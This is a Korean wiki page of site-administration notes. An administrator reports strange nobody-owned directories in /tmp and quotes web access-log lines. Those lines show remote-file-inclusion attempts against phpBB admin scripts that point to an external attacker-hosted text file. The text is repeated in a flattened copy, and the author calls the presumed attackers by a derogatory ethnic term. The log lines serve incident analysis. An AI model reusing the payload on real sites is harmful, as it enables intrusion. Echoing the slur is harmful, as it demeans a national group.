Joinc Wiki:

Facebook Joinc 그룹 Joinc QA 사이트

현재위치 : 미니사이트>Joinc>SiteAdmin>2007_2

joinc는 Firefox와 chrome에서 테스트 했습니다. IE에서는 테이블이 깨지거나 이미지가 보이지 않을 수 있습니다. 특히 구글 Docs이미지의 경우 엑박처리될 수 있습니다.

joinc서버에 취약점/문제가 있을시 아래로 연락 부탁드립니다.
mail&msn: hkpco@korea.com

/tmp에 nobody권한의 이상한 디렉토리들이 생성됩니다.

root@ns tmp# ls /tmp
rcs6Ga9ZC rcsBN8trl rcsFAESuQ rcsILbwUy rcsmBnl0B rcsPVJ0B3 rcsT2TbCK rcsWSXLc5 sess_9d21a50b8d757f49bd9013a5c2ad8769
rcs6GBQFi rcsBnCIRk rcsfAsRa8 rcsIletVK rcsmc90yk rcspvlg5F rcst2X8z9 rcsWt50gY sess_a6b19e159918aafe87d2aae2e3706035
rcs6gCaDj rcsBnD3My rcsFAv8ll rcsiLh7vF rcsMclsei rcsPvOe8j rcst3E2OW rcswt8JjG sess_a90cb7eca5c06ee8beaf508ddf846a9f
rcs6gfnn0 rcsbnLZ0R rcsFb6ZcL rcsiLo9xh rcsMcQHUz rcsPvrWjP rcst3nV0A rcswTEXel sess_ac66deb7c37e19d9a6d9e4935f43158a
rcs6gmNNC rcsbNvokJ rcsfBaEmf rcsIlT1zQ rcsMD5Jm8 rcsPvvw13 rcsT3pgEY rcswthqLZ sess_ae462623cb57003cdb09865453a23dca
rcs6gN3Bp rcsBoBLHP rcsfBbppg rcsILvwRq rcsmdeDIa rcspvYWGn rcst3ucZP rcswtI2Y5 sess_b0ed307038ee7848bf144dc354490a6e
rcs6GUX39 rcsBOTXsg rcsfbh0FP rcsILWJDB rcsmDEkWY rcsPvz0CX rcst3Uy8R rcswTlpag sess_b296935db4964273da9c0e1abf949398
rcs6h2DU9 rcsbOXSiJ rcsFBKdng rcsiLzD9F rcsmDfihW rcspWF8Zw rcsT3ZmKq rcswtQ4Ks sess_c2948fb1fe6b2603616c802bcfecf795
rcs6hgHf2 rcsboyKaY rcsFbq6Iy rcsiMfKDh rcsmDfZX0 rcsPwGacm rcsT66Lea rcswTsvUw sess_c2fda01f568d326dac7cfe9170448390
rcs6HkoT5 rcsbozQjo rcsfbqcWl rcsImHmwg rcsMDhICa rcspWjBFk rcsT72dGp rcsWtUa6Z sess_c47886c889ffa6b76d889def6fd7ed26
rcs6hsKBk rcsbozsXD rcsFbSvHr rcsiMiqAr rcsMdPCly rcsPwr3Qg rcsT7X1Si rcsWtuUJH sess_c663b7957c9cb4ae9e7a877a168e1bd8
rcs6i6Qj3 rcsBp8OJi rcsfC5avf rcsimnwjn rcsmdq2h7 rcsPwSjGc rcst7ylNj rcsWU4BkI sess_c78b9da25e0db453449b9112566c25e2
rcs6IHwmi rcsbPlXtF rcsfC9SoR rcsimpENx rcsmeBcMq rcspwycuA rcsT8QyHh rcswUAn1Z sess_cd9c0b17d41157b1502d09239cbe4eb1
rcs6Iibeo rcsbpmull rcsfccTtk rcsiNifPN rcsMEPo9u rcspx0liM rcsT9gjVT rcswuCYtj sess_d7713e32bbf1278baa68f7e5c17e86cd
rcs6iKWNc rcsBPRBTb rcsFCoDnQ rcsiNuHOy rcsMEqCp7 rcspX2vU9 rcst9h2Le rcswUJQgx sess_d89fa6a4264d51f860435451fa4f691d
rcs6iXeGy rcsBpRwHq rcsFd4JCi rcsio8kgI rcsmEQcs1 rcspxaZx0 rcsT9MmIt rcswuLsia sess_dc85ea814bfd6cfa5d52ad73ae39e05e
rcs6IzyBa rcsBpXnkA rcsfD803Y rcsiODext rcsmFjdgH rcspxEdEy rcsta7TIb rcswUoNlp sess_dd85d179619aeaa04df1d43134148a79
rcs6jaQpk rcsBPxXBt rcsFDekOp rcsiOEwGJ rcsmfJPS0 rcsPxG3W9 rcsTa8bwY rcswuP8Rt sess_de34ff978c8b77cf5cdbe543d1923f58
rcs6jHDqO rcsBq47su rcsfDGKNd rcsioF7L8 rcsMfMRtQ rcspXHF46 rcsTA8FMm rcsWusO8v sess_e186dda776f9ea70578b60d656bc0b2d
rcs6JlJ82 rcsbQ7JMC rcsFDQdIg rcsIOJlhh rcsmFNhcw rcspXhtMh rcstafrge rcswuT7er sess_e3460e82a34b1193e560d944b30ccb75

root@ns tmp# ls -al /tmp
.
.
.
.
.
drwx------ 2 nobody nobody 4096 Jan 6 08:37 rcsIHqPPu
drwx------ 2 nobody nobody 4096 Jan 4 21:51 rcsihZxfS
drwx------ 2 nobody nobody 4096 Dec 14 03:25 rcsII0j6N
drwx------ 2 nobody nobody 4096 Jan 5 00:29 rcsiI7avC
drwx------ 2 nobody nobody 4096 Jan 6 14:49 rcsIi9uyP
drwx------ 2 nobody nobody 4096 Jan 4 11:41 rcsIIaY98
drwx------ 2 nobody nobody 4096 Jan 5 00:20 rcsIIggEX
drwx------ 2 nobody nobody 4096 Jan 6 13:45 rcsIIiDkX
drwx------ 2 nobody nobody 4096 Jan 6 05:55 rcsiIkAXs
drwx------ 2 nobody nobody 4096 Jan 5 00:10 rcsiIUVo4
drwx------ 2 nobody nobody 4096 Jan 6 09:24 rcsiIzCbf
drwx------ 2 nobody nobody 4096 Jan 4 19:46 rcsIjaBeM
.
.
.
.
.

joinc_access_log를 살펴보았는데 중국놈들이 이상한짓을 해댄것같습니다.

.
.
.
67.43.0.28 - - [15/Nov/2006:06:41:50 +0900] "GET /modules/Forums/admin/admin_styles.phpphpbb_root_path=http://www.gonulsevgisi.net/ll.txt? HTTP/1.1" 404 326
67.43.0.28 - - [15/Nov/2006:06:41:50 +0900] "GET /modules/Forums/admin/admin_styles.phpphpbb_root_path=http://www.gonulsevgisi.net/ll.txt? HTTP/1.1" 404 326
67.43.0.28 - - [15/Nov/2006:06:43:45 +0900] "GET /modules/Forums/admin/admin_styles.phpphpbb_root_path=http://www.gonulsevgisi.net/ll.txt? HTTP/1.1" 404 326
67.43.0.28 - - [15/Nov/2006:06:43:45 +0900] "GET /modules/Forums/admin/admin_styles.phpphpbb_root_path=http://www.gonulsevgisi.net/ll.txt? HTTP/1.1" 404 326
210.87.251.111 - - [15/Nov/2006:06:44:54 +0900] "GET /modules/Forums/admin/admin_board.phpphpbb_root_path=http://www.gonulsevgisi.net/ll.txt? HTTP/1.0" 404 325
210.87.251.106 - - [15/Nov/2006:06:44:55 +0900] "GET /modules/Forums/admin/admin_board.phpphpbb_root_path=http://www.gonulsevgisi.net/ll.txt? HTTP/1.0" 404 325
.
.
.

http://www.cftt.nist.gov/usage/2006_11/print.htm 페이지 아래쪽에 Web Access Errors Report 에서도 볼 수 있듯이
admin_board.php , admin_styles.php등의 파일에 대한 무작위의 공격시도 같아 보입니다.
시간날때 공격시도가 성공한 로그를 찾아 기재하겠습니다.

시간이 없어서 오래볼수가 없네요..ㅜ

뇌자극 QA 뇌자극 에러 및 수정목록 총 페이지 수 : 3224 전체 함수/용어사전 구글검색방법 구글 맞춤검색	Facebook Joinc 그룹 Joinc QA 사이트 현재위치 : 미니사이트>Joinc>SiteAdmin>2007_2 Tweet joinc는 Firefox와 chrome에서 테스트 했습니다. IE에서는 테이블이 깨지거나 이미지가 보이지 않을 수 있습니다. 특히 구글 Docs이미지의 경우 엑박처리될 수 있습니다. /* joinc서버에 취약점/문제가 있을시 아래로 연락 부탁드립니다. mail&msn: hkpco@korea.com */ /tmp에 nobody권한의 이상한 디렉토리들이 생성됩니다. root@ns tmp# ls /tmp rcs6Ga9ZC rcsBN8trl rcsFAESuQ rcsILbwUy rcsmBnl0B rcsPVJ0B3 rcsT2TbCK rcsWSXLc5 sess_9d21a50b8d757f49bd9013a5c2ad8769 rcs6GBQFi rcsBnCIRk rcsfAsRa8 rcsIletVK rcsmc90yk rcspvlg5F rcst2X8z9 rcsWt50gY sess_a6b19e159918aafe87d2aae2e3706035 rcs6gCaDj rcsBnD3My rcsFAv8ll rcsiLh7vF rcsMclsei rcsPvOe8j rcst3E2OW rcswt8JjG sess_a90cb7eca5c06ee8beaf508ddf846a9f rcs6gfnn0 rcsbnLZ0R rcsFb6ZcL rcsiLo9xh rcsMcQHUz rcsPvrWjP rcst3nV0A rcswTEXel sess_ac66deb7c37e19d9a6d9e4935f43158a rcs6gmNNC rcsbNvokJ rcsfBaEmf rcsIlT1zQ rcsMD5Jm8 rcsPvvw13 rcsT3pgEY rcswthqLZ sess_ae462623cb57003cdb09865453a23dca rcs6gN3Bp rcsBoBLHP rcsfBbppg rcsILvwRq rcsmdeDIa rcspvYWGn rcst3ucZP rcswtI2Y5 sess_b0ed307038ee7848bf144dc354490a6e rcs6GUX39 rcsBOTXsg rcsfbh0FP rcsILWJDB rcsmDEkWY rcsPvz0CX rcst3Uy8R rcswTlpag sess_b296935db4964273da9c0e1abf949398 rcs6h2DU9 rcsbOXSiJ rcsFBKdng rcsiLzD9F rcsmDfihW rcspWF8Zw rcsT3ZmKq rcswtQ4Ks sess_c2948fb1fe6b2603616c802bcfecf795 rcs6hgHf2 rcsboyKaY rcsFbq6Iy rcsiMfKDh rcsmDfZX0 rcsPwGacm rcsT66Lea rcswTsvUw sess_c2fda01f568d326dac7cfe9170448390 rcs6HkoT5 rcsbozQjo rcsfbqcWl rcsImHmwg rcsMDhICa rcspWjBFk rcsT72dGp rcsWtUa6Z sess_c47886c889ffa6b76d889def6fd7ed26 rcs6hsKBk rcsbozsXD rcsFbSvHr rcsiMiqAr rcsMdPCly rcsPwr3Qg rcsT7X1Si rcsWtuUJH sess_c663b7957c9cb4ae9e7a877a168e1bd8 rcs6i6Qj3 rcsBp8OJi rcsfC5avf rcsimnwjn rcsmdq2h7 rcsPwSjGc rcst7ylNj rcsWU4BkI sess_c78b9da25e0db453449b9112566c25e2 rcs6IHwmi rcsbPlXtF rcsfC9SoR rcsimpENx rcsmeBcMq rcspwycuA rcsT8QyHh rcswUAn1Z sess_cd9c0b17d41157b1502d09239cbe4eb1 rcs6Iibeo rcsbpmull rcsfccTtk rcsiNifPN rcsMEPo9u rcspx0liM rcsT9gjVT rcswuCYtj sess_d7713e32bbf1278baa68f7e5c17e86cd rcs6iKWNc rcsBPRBTb rcsFCoDnQ rcsiNuHOy rcsMEqCp7 rcspX2vU9 rcst9h2Le rcswUJQgx sess_d89fa6a4264d51f860435451fa4f691d rcs6iXeGy rcsBpRwHq rcsFd4JCi rcsio8kgI rcsmEQcs1 rcspxaZx0 rcsT9MmIt rcswuLsia sess_dc85ea814bfd6cfa5d52ad73ae39e05e rcs6IzyBa rcsBpXnkA rcsfD803Y rcsiODext rcsmFjdgH rcspxEdEy rcsta7TIb rcswUoNlp sess_dd85d179619aeaa04df1d43134148a79 rcs6jaQpk rcsBPxXBt rcsFDekOp rcsiOEwGJ rcsmfJPS0 rcsPxG3W9 rcsTa8bwY rcswuP8Rt sess_de34ff978c8b77cf5cdbe543d1923f58 rcs6jHDqO rcsBq47su rcsfDGKNd rcsioF7L8 rcsMfMRtQ rcspXHF46 rcsTA8FMm rcsWusO8v sess_e186dda776f9ea70578b60d656bc0b2d rcs6JlJ82 rcsbQ7JMC rcsFDQdIg rcsIOJlhh rcsmFNhcw rcspXhtMh rcstafrge rcswuT7er sess_e3460e82a34b1193e560d944b30ccb75 root@ns tmp# ls -al /tmp . . . . . drwx------ 2 nobody nobody 4096 Jan 6 08:37 rcsIHqPPu drwx------ 2 nobody nobody 4096 Jan 4 21:51 rcsihZxfS drwx------ 2 nobody nobody 4096 Dec 14 03:25 rcsII0j6N drwx------ 2 nobody nobody 4096 Jan 5 00:29 rcsiI7avC drwx------ 2 nobody nobody 4096 Jan 6 14:49 rcsIi9uyP drwx------ 2 nobody nobody 4096 Jan 4 11:41 rcsIIaY98 drwx------ 2 nobody nobody 4096 Jan 5 00:20 rcsIIggEX drwx------ 2 nobody nobody 4096 Jan 6 13:45 rcsIIiDkX drwx------ 2 nobody nobody 4096 Jan 6 05:55 rcsiIkAXs drwx------ 2 nobody nobody 4096 Jan 5 00:10 rcsiIUVo4 drwx------ 2 nobody nobody 4096 Jan 6 09:24 rcsiIzCbf drwx------ 2 nobody nobody 4096 Jan 4 19:46 rcsIjaBeM . . . . . joinc_access_log를 살펴보았는데 중국놈들이 이상한짓을 해댄것같습니다. . . . 67.43.0.28 - - [15/Nov/2006:06:41:50 +0900] "GET /modules/Forums/admin/admin_styles.phpphpbb_root_path=http://www.gonulsevgisi.net/ll.txt? HTTP/1.1" 404 326 67.43.0.28 - - [15/Nov/2006:06:41:50 +0900] "GET /modules/Forums/admin/admin_styles.phpphpbb_root_path=http://www.gonulsevgisi.net/ll.txt? HTTP/1.1" 404 326 67.43.0.28 - - [15/Nov/2006:06:43:45 +0900] "GET /modules/Forums/admin/admin_styles.phpphpbb_root_path=http://www.gonulsevgisi.net/ll.txt? HTTP/1.1" 404 326 67.43.0.28 - - [15/Nov/2006:06:43:45 +0900] "GET /modules/Forums/admin/admin_styles.phpphpbb_root_path=http://www.gonulsevgisi.net/ll.txt? HTTP/1.1" 404 326 210.87.251.111 - - [15/Nov/2006:06:44:54 +0900] "GET /modules/Forums/admin/admin_board.phpphpbb_root_path=http://www.gonulsevgisi.net/ll.txt? HTTP/1.0" 404 325 210.87.251.106 - - [15/Nov/2006:06:44:55 +0900] "GET /modules/Forums/admin/admin_board.phpphpbb_root_path=http://www.gonulsevgisi.net/ll.txt? HTTP/1.0" 404 325 . . . http://www.cftt.nist.gov/usage/2006_11/print.htm 페이지 아래쪽에 Web Access Errors Report 에서도 볼 수 있듯이 admin_board.php , admin_styles.php등의 파일에 대한 무작위의 공격시도 같아 보입니다. 시간날때 공격시도가 성공한 로그를 찾아 기재하겠습니다. 시간이 없어서 오래볼수가 없네요..ㅜ